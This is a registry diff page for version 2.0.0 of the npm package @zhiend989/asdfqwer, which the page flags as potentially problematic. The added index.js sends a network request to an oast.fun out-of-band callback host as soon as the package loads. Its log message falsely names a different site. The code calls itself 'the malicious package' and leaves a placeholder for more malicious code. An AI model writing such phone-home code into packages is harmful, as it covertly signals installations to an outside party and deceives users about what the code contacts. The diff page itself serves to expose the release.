@zhiend989/asdfqwer 2.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @zhiend989/asdfqwer might be problematic. Click here for more details.
- package/index.js +19 -0
- package/package.json +11 -0
package/index.js
ADDED
@@ -0,0 +1,19 @@
|
|
1
|
+
const axios = require('axios');
|
2
|
+
|
3
|
+
// Function to send a request when the package is installed
|
4
|
+
async function sendRequest() {
|
5
|
+
try {
|
6
|
+
const response = await axios.get('https://bqimonfthlskrntqolrird2agpqrtpkrh.oast.fun/');
|
7
|
+
console.log('Request sent to https://asdf.com, response status:', response.status);
|
8
|
+
} catch (error) {
|
9
|
+
console.error('Error sending request:', error);
|
10
|
+
}
|
11
|
+
}
|
12
|
+
|
13
|
+
// Call the function
|
14
|
+
sendRequest();
|
15
|
+
|
16
|
+
module.exports = function() {
|
17
|
+
console.log("This is the malicious package");
|
18
|
+
// Malicious code here
|
19
|
+
};
|